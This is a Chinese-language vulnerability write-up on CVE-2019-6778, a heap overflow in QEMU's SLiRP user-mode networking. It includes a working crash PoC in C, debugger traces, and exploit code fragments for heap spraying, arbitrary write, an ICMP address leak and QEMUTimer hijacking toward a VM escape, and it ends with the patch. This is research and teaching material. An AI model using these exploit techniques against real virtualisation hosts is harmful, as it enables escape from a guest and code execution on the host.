作者:raycp
原文來自安全客:https://www.anquanke.com/post/id/197639

漏洞描述

qemu-kvm默認使用的是-net nic -net user的參數,提供了一種用戶模式(user-mode)的網絡模擬。使用用戶模式的網絡的客戶機可以連通宿主機及外部的網絡。用戶模式網絡是完全由QEMU自身實現的,不依賴于其他的工具(bridge-utils、dnsmasq、iptables等),而且不需要root用戶權限。QEMU使用Slirp實現了一整套TCP/IP協議棧,并且使用這個協議棧實現了一套虛擬的NAT網絡。SLiRP模塊主要模擬了網絡應用層協議,其中包括IP協議(v4和v6)、DHCP協議、ARP協議等。

cve-2019-6778這個漏洞存在于QEMU的網絡模塊SLiRP中。該模塊中的tcp_emu()函數對端口113(Identification protocol)的數據進行處理時,沒有進行有效的數據驗證,導致堆溢出。經過構造,可實現以QEMU進程權限執行任意代碼。

漏洞復現

首先是安裝環境,根據官方描述,漏洞版本是3.1.50,但是我在git中沒有找到這個版本,于是使用的是3.1.0,使用下面的命令編譯qemu。

git clone git://git.qemu-project.org/qemu.git
cd qemu
git checkout tags/v3.1.0
mkdir -p bin/debug/naive
cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
make

編譯出來qemu的路徑為./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64,查看版本:

$ ./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 -version
QEMU emulator version 3.1.0 (v3.1.0-dirty)
Copyright (c) 2003-2018 Fabrice Bellard and the QEMU Project developers

接下來就是編譯內核與文件系統,可以參考上一篇的cve-2015-5165漏洞分析的文章。

因為漏洞需要在user模式下啟動虛擬機,因此使用以下的命令啟動qemu虛擬機:

$ cat launch.sh
#!/bin/sh
./qemu-system-x86_64 \
    -kernel ./bzImage  \
    -append "console=ttyS0 root=/dev/sda rw"  \
    -hda ./rootfs.img  \
    -enable-kvm -m 2G -nographic \
    -L ./pc-bios -smp 1 \
    -net user,hostfwd=tcp::2222-:22 -net nic

漏洞需要在user模式下啟動虛擬機,啟動虛擬機后虛擬機的ip為10.0.2.15,宿主機ip為10.0.2.2。雖然在主機中ifconfig看不到該ip,但確實是可以連通的。可以從qemu虛擬機中ping主機,無法從主機ping虛擬機。

poc代碼如下,將其編譯好并拷貝至虛擬機中:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main() {
    int s, ret;
    struct sockaddr_in ip_addr;
    char buf[0x500];

    s = socket(AF_INET, SOCK_STREAM, 0);
    ip_addr.sin_family = AF_INET;
    ip_addr.sin_addr.s_addr = inet_addr("10.0.2.2"); // host IP
    ip_addr.sin_port = htons(113);                   // vulnerable port
    ret = connect(s, (struct sockaddr *)&ip_addr, sizeof(struct sockaddr_in));
    memset(buf, 'A', 0x500);
    while (1) {
        write(s, buf, 0x500);
    }
    return 0;
}

然后在宿主機中sudo nc -lvnp 113端口,在虛擬機中運行poc,即可看到qemu虛擬機崩潰,成功復現漏洞。

漏洞分析

根據作者writeup,將斷點下在tcp_emu,可以看到調用棧如下:

 ? f 0     5583e153e5ae tcp_emu+28
   f 1     5583e153aa5a tcp_input+3189
   f 2     5583e1531765 ip_input+710
   f 3     5583e1534cb6 slirp_input+412
   f 4     5583e151ceea net_slirp_receive+83
   f 5     5583e15128c4 nc_sendv_compat+254
   f 6     5583e1512986 qemu_deliver_packet_iov+172
   f 7     5583e151553f qemu_net_queue_deliver_iov+80
   f 8     5583e15156ae qemu_net_queue_send_iov+134
   f 9     5583e1512acb qemu_sendv_packet_async+289
   f 10     5583e1512af8 qemu_sendv_packet+43

結合源碼調試,該函數在slirp/tcp_subr.c中:

int
tcp_emu(struct socket *so, struct mbuf *m)
{
    ...

    switch(so->so_emu) {
        int x, i;

     case EMU_IDENT:
        /*
         * Identification protocol as per rfc-1413
         */

        {
      ...
            struct sbuf *so_rcv = &so->so_rcv;

            memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
            so_rcv->sb_wptr += m->m_len;
            so_rcv->sb_rptr += m->m_len;
            m->m_data[m->m_len] = 0; /* NULL terminate */
            if (strchr(m->m_data, '\r') || strchr(m->m_data, '\n')) {
                if (sscanf(so_rcv->sb_data, "%u%*[ ,]%u", &n1, &n2) == 2) {
                ...
                                so_rcv->sb_cc = snprintf(so_rcv->sb_data,
                                                         so_rcv->sb_datalen,
                                                         "%d,%d\r\n", n1, n2);
                so_rcv->sb_rptr = so_rcv->sb_data;
                so_rcv->sb_wptr = so_rcv->sb_data + so_rcv->sb_cc;
            }
            m_free(m);
            return 0;
        }

可以看到程序會先將m->data中的數據拷貝至so_rcv->sb_wptrm的定義為struct mbufso_rcv的定義為struct sbufmbuf是用來保存ip傳輸層的數據,sbuf結構體則保存tcp網絡層的數據,定義如下:

struct mbuf {
    /* XXX should union some of these! */
    /* header at beginning of each mbuf: */
    struct  mbuf *m_next;       /* Linked list of mbufs */
    struct  mbuf *m_prev;
    struct  mbuf *m_nextpkt;    /* Next packet in queue/record */
    struct  mbuf *m_prevpkt;    /* Flags aren't used in the output queue */
    int m_flags;        /* Misc flags */

    int m_size;         /* Size of mbuf, from m_dat or m_ext */
    struct  socket *m_so;

    caddr_t m_data;         /* Current location of data */
    int m_len;          /* Amount of data in this mbuf, from m_data */

    Slirp *slirp;
    bool    resolution_requested;
    uint64_t expiration_date;
    char   *m_ext;
    /* start of dynamic buffer area, must be last element */
    char    m_dat[];
};


struct sbuf {
    uint32_t sb_cc;     /* actual chars in buffer */
    uint32_t sb_datalen;    /* Length of data  */
    char    *sb_wptr;   /* write pointer. points to where the next
                 * bytes should be written in the sbuf */
    char    *sb_rptr;   /* read pointer. points to where the next
                 * byte should be read from the sbuf */
    char    *sb_data;   /* Actual data */
};

結合結構體的分析知道了,程序將m->data中的數據拷貝至so_rcv->sb_wptr,但是由于字符串中沒有\r\n,導致沒有將sb_cc賦值,形成了buffer空間變小,而數值卻沒有變化的情形。

查看tcp_enu的調用函數tcp_input函數,代碼在slirp/tcp_input.c中:

else if (ti->ti_ack == tp->snd_una &&
            tcpfrag_list_empty(tp) &&
            ti->ti_len <= sbspace(&so->so_rcv)) {
            ...
            /*
             * Add data to socket buffer.
             */
            if (so->so_emu) {
                if (tcp_emu(so,m)) sbappend(so, m);

titcpiphdr結構體,其定義以及sbspace定義如下:

struct tcpiphdr {
    struct mbuf_ptr ih_mbuf;    /* backpointer to mbuf */
    union {
        struct {
            struct  in_addr ih_src; /* source internet address */
            struct  in_addr ih_dst; /* destination internet address */
            uint8_t ih_x1;          /* (unused) */
            uint8_t ih_pr;          /* protocol */
        } ti_i4;
        struct {
            struct  in6_addr ih_src;
            struct  in6_addr ih_dst;
            uint8_t ih_x1;
            uint8_t ih_nh;
        } ti_i6;
    } ti;
    uint16_t    ti_x0;
    uint16_t    ti_len;             /* protocol length */
    struct      tcphdr ti_t;        /* tcp header */
};

#define sbspace(sb) ((sb)->sb_datalen - (sb)->sb_cc)

可以看到當為EMU_IDENT協議時,會不停的往so_rcv->sb_wptr中拷貝數據,并將指針后移,但是卻沒有對長度進行增加。當不停的發送該協議數據時,會導致堆溢出。

下面動態調試進行進一步驗證。

b /home/raycp/work/qemu_escape/qemu/slirp/tcp_subr.c:638`將斷點下在`memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);

第一次拷貝前so_rcv數據以及m數據為:

pwndbg> print *so_rcv
$1 = {
  sb_cc = 0x0,
  sb_datalen = 0x2238,
  sb_wptr = 0x7f46001d4d30 "0\a",
  sb_rptr = 0x7f46001d4d30 "0\a",
  sb_data = 0x7f46001d4d30 "0\a"
}
pwndbg> print *m
$2 = {
  m_next = 0x7f46001a6800,
  m_prev = 0x55dd677c6c78,
  m_nextpkt = 0x0,
  m_prevpkt = 0x0,
  m_flags = 0x4,
  m_size = 0x608,
  m_so = 0x7f46001b1630,
  m_data = 0x55dd67fd04b4 'A' <repeats 200 times>...,
  m_len = 0x500,
  slirp = 0x55dd677c6bd0,
  resolution_requested = 0x0,
  expiration_date = 0xffffffffffffffff,
  m_ext = 0x0,
  m_dat = 0x55dd67fd0460 ""
}

拷貝結束,sb_wptr等指針都往后移動了(sb_data是大小為0x2240的堆塊),但是sb_cc卻沒有變化:

pwndbg> print *so_rcv
$3 = {
  sb_cc = 0x0,
  sb_datalen = 0x2238,
  sb_wptr = 0x7f46001d5230 "",
  sb_rptr = 0x7f46001d5230 "",
  sb_data = 0x7f46001d4d30 'A' <repeats 200 times>...
}

pwndbg> vmmap 0x7f46001d4d30
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7f4600000000     0x7f46007b1000 rw-p   7b1000 0
pwndbg> x/6gx 0x7f46001d4d30-0x10
0x7f46001d4d20: 0x0000000000000000      0x0000000000002245
0x7f46001d4d30: 0x4141414141414141      0x4141414141414141
0x7f46001d4d40: 0x4141414141414141      0x4141414141414141

多發送幾次將會造成溢出,導致崩潰,漏洞分析結束。

漏洞利用

程序保護機制基本上全都開了:

pwndbg> checksec
[*] '/home/raycp/work/qemu_escape/created/qemu-system-x86_64'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

要想實現任意代碼執行,首先需要信息泄露得到程序基址等信息;然后需要利用堆溢出控制程序執行流程。整個漏洞利用包含四個部分需要進行解析:

  • malloc原語。
  • 任意地址寫。
  • 信息泄露。
  • 控制程序執行流程。

malloc原語

因為漏洞是堆溢出,而qemu中堆的排布復雜,因此需要找到一個malloc的方式,將堆內存清空,使得堆的申請都是從top chunk中分配,這樣堆的排布就是可控和預測的了。可以利用IP分片在slirp中的實現來構造malloc原語。

在TCP/IP分層中,數據鏈路層用MTU(Maximum Transmission Unit,最大傳輸單元)來限制所能傳輸的數據包大小。當發送的IP數據報的大小超過了MTU時,IP層就需要對數據進行分片,否則數據將無法發送成功。

IP數據報文格式如下所示,其中FlagsFragment Offset字段用于滿足這一需求:

  • Zero (1 bit),為0,不使用。
  • Do not fragment flag (1 bit),表示這個packet是否為分片的。
  • More fragments following flag (1 bit),表示這是后續還有沒有包,即此包是否為分片序列中的最后一
  • Fragmentation offset (13 bits),表示此包數據在重組時的偏移。
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version|  IHL  |Type of Service|          Total Length         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         Identification        |Flags|      Fragment Offset    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Time to Live |    Protocol   |         Header Checksum       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       Source Address                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Destination Address                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Options                    |    Padding    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

去看ip切片在該模塊中的相應實現,源碼如下:

void
ip_input(struct mbuf *m)
{
    ...
  /*
     * If offset or IP_MF are set, must reassemble.
     * Otherwise, nothing need be done.
     * (We could look in the reassembly queue to see
     * if the packet was previously fragmented,
     * but it's not worth the time; just let them time out.)
     *
     * XXX This should fail, don't fragment yet
     */
    if (ip->ip_off &~ IP_DF) {
      register struct ipq *fp;
      struct qlink *l;
        /*
         * Look for queue of fragments
         * of this datagram.
         */
        for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link;
             l = l->next) {
            fp = container_of(l, struct ipq, ip_link);
            if (ip->ip_id == fp->ipq_id &&
                    ip->ip_src.s_addr == fp->ipq_src.s_addr &&
                    ip->ip_dst.s_addr == fp->ipq_dst.s_addr &&
                    ip->ip_p == fp->ipq_p)
            goto found;
        }
        fp = NULL;
    found:
        ip->ip_len -= hlen;
        if (ip->ip_off & IP_MF)
          ip->ip_tos |= 1;
        else
          ip->ip_tos &= ~1;

        ip->ip_off <<= 3;

        /*
         * If datagram marked as having more fragments
         * or if this is not the first fragment,
         * attempt reassembly; if it succeeds, proceed.
         */
        if (ip->ip_tos & 1 || ip->ip_off) {
            ip = ip_reass(slirp, ip, fp);
                        if (ip == NULL)
    ...
}

static struct ip *
ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
{
  ...

    /*
     * If first fragment to arrive, create a reassembly queue.
     */
        if (fp == NULL) {
      struct mbuf *t = m_get(slirp)
        }
    ...
}

#define SLIRP_MSIZE\
    (offsetof(struct mbuf, m_dat) + IF_MAXLINKHDR + TCPIPHDR_DELTA + IF_MTU)

struct mbuf *
m_get(Slirp *slirp)
{
    register struct mbuf *m;
    int flags = 0;

    DEBUG_CALL("m_get");

    if (slirp->m_freelist.qh_link == &slirp->m_freelist) {
                m = g_malloc(SLIRP_MSIZE);
    ...
}

可以看到在ip_input函數中,當ip->ip_off沒有IP_DF標志位時(表示被切片),會在當前的鏈表中尋找之前是否已經存在相應數據包,如果沒有找到則會將fp置為null,否則則為相應的數據包的鏈表。接著調用ip_reass,當fp為null時,表明它是相應數據流的第一個切片數據包,會調用m_get函數為其分配一個struct mbuf,大小size為SLIRP_MSIZE(0x668),所以最終分配出來的堆塊大小為0x670并將其一直掛在鏈表隊列中。

pwndbg> print m
$5 = (struct mbuf *) 0x55b61423f5e0
pwndbg> x/6gx 0x55b61423f5e0
0x55b61423f5e0: 0x00007f17d9bec190      0x00007f17d9bec190
0x55b61423f5f0: 0x000055b61423f5d0      0x000055b61423f5d0
0x55b61423f600: 0x0000000000000000      0x0000000000000000
pwndbg> x/6gx 0x55b61423f5e0-0x10
0x55b61423f5d0: 0x000b000b000b000b      0x0000000000000671
0x55b61423f5e0: 0x00007f17d9bec190      0x00007f17d9bec190
0x55b61423f5f0: 0x000055b61423f5d0      0x000055b61423f5d0

因此我們可以構造數據包,使其ip->ip_off沒有IP_DF標志位,則可以申請出來0x670大小的堆塊,實現了malloc原語的構造。

任意地址寫

可以利用堆溢出構造出任意地址寫的功能,以為泄露地址與控制程序執行流服務。

任意地址寫的構造主要是基于堆溢出,以及ip_reass這個函數,關鍵代碼如下:

void
ip_input(struct mbuf *m)
{
    ...
  /*
     * If offset or IP_MF are set, must reassemble.
     * Otherwise, nothing need be done.
     * (We could look in the reassembly queue to see
     * if the packet was previously fragmented,
     * but it's not worth the time; just let them time out.)
     *
     * XXX This should fail, don't fragment yet
     */
    if (ip->ip_off &~ IP_DF) {
      register struct ipq *fp;
      struct qlink *l;
        /*
         * Look for queue of fragments
         * of this datagram.
         */
        for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link;
             l = l->next) {
            fp = container_of(l, struct ipq, ip_link);
            if (ip->ip_id == fp->ipq_id &&
                    ip->ip_src.s_addr == fp->ipq_src.s_addr &&
                    ip->ip_dst.s_addr == fp->ipq_dst.s_addr &&
                    ip->ip_p == fp->ipq_p)
            goto found;
        }
        fp = NULL;
    found:
        ip->ip_len -= hlen;
        if (ip->ip_off & IP_MF)
          ip->ip_tos |= 1;
        else
          ip->ip_tos &= ~1;

        ip->ip_off <<= 3;

        /*
         * If datagram marked as having more fragments
         * or if this is not the first fragment,
         * attempt reassembly; if it succeeds, proceed.
         */
        if (ip->ip_tos & 1 || ip->ip_off) {
            ip = ip_reass(slirp, ip, fp);
                        if (ip == NULL)
    ...
}


static struct ip *
ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
{
    register struct mbuf *m = dtom(slirp, ip);
    register struct ipasfrag *q;
    int hlen = ip->ip_hl << 2;
    int i, next;

    ...
    /*
     * Reassembly is complete; concatenate fragments.
     */
    q = fp->frag_link.next;
    m = dtom(slirp, q);

    q = (struct ipasfrag *) q->ipf_next;
    while (q != (struct ipasfrag*)&fp->frag_link) {
      struct mbuf *t = dtom(slirp, q);
      q = (struct ipasfrag *) q->ipf_next;
      m_cat(m, t);
    }
}

/*
 * Copy data from one mbuf to the end of
 * the other.. if result is too big for one mbuf, allocate
 * an M_EXT data segment
 */
void
m_cat(struct mbuf *m, struct mbuf *n)
{
    /*
     * If there's no room, realloc
     */
    if (M_FREEROOM(m) < n->m_len)
        m_inc(m, m->m_len + n->m_len);

    memcpy(m->m_data+m->m_len, n->m_data, n->m_len);
    m->m_len += n->m_len;

    m_free(n);
}

可以看到在ip_input中,當數據包是最后一個切片數據包時(IP_MF不為1),會在ip_reass函數中調用m_cat將數據包組合起來。關鍵代碼是memcpy(m->m_data+m->m_len, n->m_data, n->m_len),如果我們可以利用堆溢出覆蓋m結構體的m_data,則就可以實現將可控的數據n->m_data寫到任意的地址m->m_data+m->m_len處。

exp中任意地址寫函數關鍵代碼如下,首先利用malloc原語將清空堆,使得堆排布可控。接著利用與host主機113端口建立socket連接,申請出來可溢出的struct sbuf *so_rcv結構體。緊接著在后面分配一個ip切片數據包mbuf,其id為0xdead。由于堆的排布,該數據包是緊貼著so_rcv的,可以利用堆溢出覆蓋mbuf中的m_data指針。最后再次發送相同id(0xdead)并且MF標志為0的數據包,memcpy拷貝至m_data指針處時,實現任意地址寫。

        ....
    //使堆排布可控
        for (i = 0; i < spray_times; ++i) {
        dbg_printf("spraying size 0x2000, id: %d\n", i);
        spray(0x2000, g_spray_ip_id + i);
    }
        ...
    //建立溢出buffer so_rcv
        s = socket(AF_INET, SOCK_STREAM, 0);
    ip_addr.sin_family = AF_INET;
    ip_addr.sin_addr.s_addr = inet_addr(host);
    ip_addr.sin_port = htons(113); // vulnerable port
    len = sizeof(struct sockaddr_in);
    ret = connect(s, (struct sockaddr *)&ip_addr, len);
    if (ret == -1) {
        perror("oops: client");
        exit(1);
    }

        //建立mbuf 
    pkt_info.ip_id = 0xdead;
    pkt_info.ip_off = 0;
    pkt_info.MF = 1;
    pkt_info.ip_p = 0xff;
    send_ip_pkt(&pkt_info, payload, 0x300 + 4); // 這個packet就在so_rcv的后面

        //溢出,將指針后移
    /*
        let's overflow here!
        send(xxx)
    */
    for (i = 0; i < 6; ++i) {
        write(s, payload, 0x500); // 不能send一個滿的m_buf,因為會有一個off by
                                  // null = =。。。。
        usleep(20000); // 不知道為啥,貌似內核會合并包?
                       // 如果合并了就會off by null...
                       // 所以sleep一下
        dbg_printf("send %d complete\n", i + 1);
    }
    write(s, payload, 1072);
        //偽造mbuf,覆蓋m_data指針
    // actual overflow here
    *payload64++ = 0;
    *payload64++ = 0x675; // chunk header
    *payload64++ = 0;     // m_next
    *payload64++ = 0;     // m_prev
    *payload64++ = 0;     // m_nextpkt
    *payload64++ = 0;     // m_prevpkt
    payload32 = (uint32_t *)payload64;
    *payload32++ = 0;     // m_flags
    *payload32++ = 0x608; // m_size
    payload64 = (uint64_t *)payload32;
    *payload64++ = 0; // m_so
    payload = (uint8_t *)payload64;
    assert(addr_len <= 8);
    for (i = 0; i < addr_len; ++i) {
        *payload++ = (addr >> (i * 8)) & 0xff; // 覆蓋m_data指針
    }
    write(s, payload_start, (uint8_t *)payload - payload_start);
    // write(s, payload, 0x1000);
    ...
    //再次發送相同id且MF標志位為0的數據包,實現任意地址寫
    pkt_info.ip_id = 0xdead;
    pkt_info.ip_off = 0x300 + 24;
    pkt_info.MF = 0;
    pkt_info.ip_p = 0xff;
    send_ip_pkt(&pkt_info, write_data, write_data_len);

信息泄露

因為程序開啟了PIE,所以還需要信息泄露才能進一步利用。

信息泄露主要是利用偽造ICMP響應請求包,得到響應應答包實現。主要的步驟如下:

  1. 溢出修改m_data的低位,在堆的前面寫入一個偽造的ICMP包頭。
  2. 發送一個ICMP請求,將MF bit置位(1)。
  3. 第二次溢出修改第二步的m_data的低位至偽造的包頭地址。
  4. 發送MF bit為0的包結束ICMP請求。
  5. 得到ICMP應答包,實現信息泄露。

首先是利用堆溢出將m_data的低位覆蓋(exp中是覆蓋低3位為0x000b00),然后利用任意地址寫將偽造的icmp包寫入到該地址處;接著是發送一個ICMP響應請求包,并將其MF位置1,這樣它會在隊列中等待剩余的數據包;然后再利用溢出將第二步中的ICMP響應請求包的m_data的低位覆蓋成偽造的ICMP請求包的位置,這樣響應請求ICMP包的數據就變成了偽造的ICMP請求包;最后再發送一個MF為0的數據包結束該ICMP請求,將該偽造的請求發送出去;然后等待ICMP應答包,在應答包中可以得到程序地址以及堆地址,實現信息泄露。

程序執行流控制

有了程序地址和堆地址,再結合任意地址寫,可以往任意地址寫任何的數據,因此只要找到可以控制程序執行流的目標即可。結合作者給出的writeup與前面一系列文章,仍然可以利用QEMUTimer搞事情。

在bss段有個全局數組main_loop_tlg,它是QEMUTimerList的數組。我們可以在堆中偽造一個QEMUTimerList,將cb指針覆蓋成想要執行的函數,opaque為參數地址。再將其地址覆蓋到main_loop_tlg中,等expire_time時間到,將會執行cb(opaque),成功控制程序執行流。

// util/qemu-timer.c
struct QEMUTimerList {
    QEMUClock *clock;
    QemuMutex active_timers_lock;
    QEMUTimer *active_timers;
    QLIST_ENTRY(QEMUTimerList) list;
    QEMUTimerListNotifyCB *notify_cb;
    void *notify_opaque;

    /* lightweight method to mark the end of timerlist's running */
    QemuEvent timers_done_ev;
};

// include/qemu/timer.h
struct QEMUTimer {
    int64_t expire_time;        /* in nanoseconds */
    QEMUTimerList *timer_list;
    QEMUTimerCB *cb;  // 函數指針
    void *opaque;     // 參數
    QEMUTimer *next;
    int attributes;
    int scale;
};

需要指出的是,程序一般MTU都為1500,即大于1500的數據包會被分片。而exp中使用的數據包大小是0x2000(8192),所以需要使用命令ifconfig enp0s3 mtu 9000 up,來將MTU設置的大一些,否則會報sendto() failed : Message too long的錯誤。

補丁比對

在目錄中執行git checkout tags/v3.1.1,既可以拿到patch以后的代碼:

case EMU_IDENT:
        /*
         * Identification protocol as per rfc-1413
         */

        {
            struct socket *tmpso;
            struct sockaddr_in addr;
            socklen_t addrlen = sizeof(struct sockaddr_in);
            struct sbuf *so_rcv = &so->so_rcv;

            if (m->m_len > so_rcv->sb_datalen   //增加了檢查
                    - (so_rcv->sb_wptr - so_rcv->sb_data)) {
                return 1;
            }

            memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
            so_rcv->sb_wptr += m->m_len;
            so_rcv->sb_rptr += m->m_len;

可以看到是在memcpy之前簡單粗暴增加了檢查。

小結

感謝Kira師傅在復現過程中的指導,大佬還是強。

在我的環境中,由于信息泄露里面基址拿到的成功率不高,所以最終exp成功率也一般,但還是學到了很多。

到這里qemu pwn的學習就結束了,本來還打算復現CVE-2019-14378,但是兩個好像差不多,所以就沒有分析了,后面還是學習linux內核漏洞吧。

相關文件與腳本鏈接

鏈接

  1. qemu-vm-escape

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1360/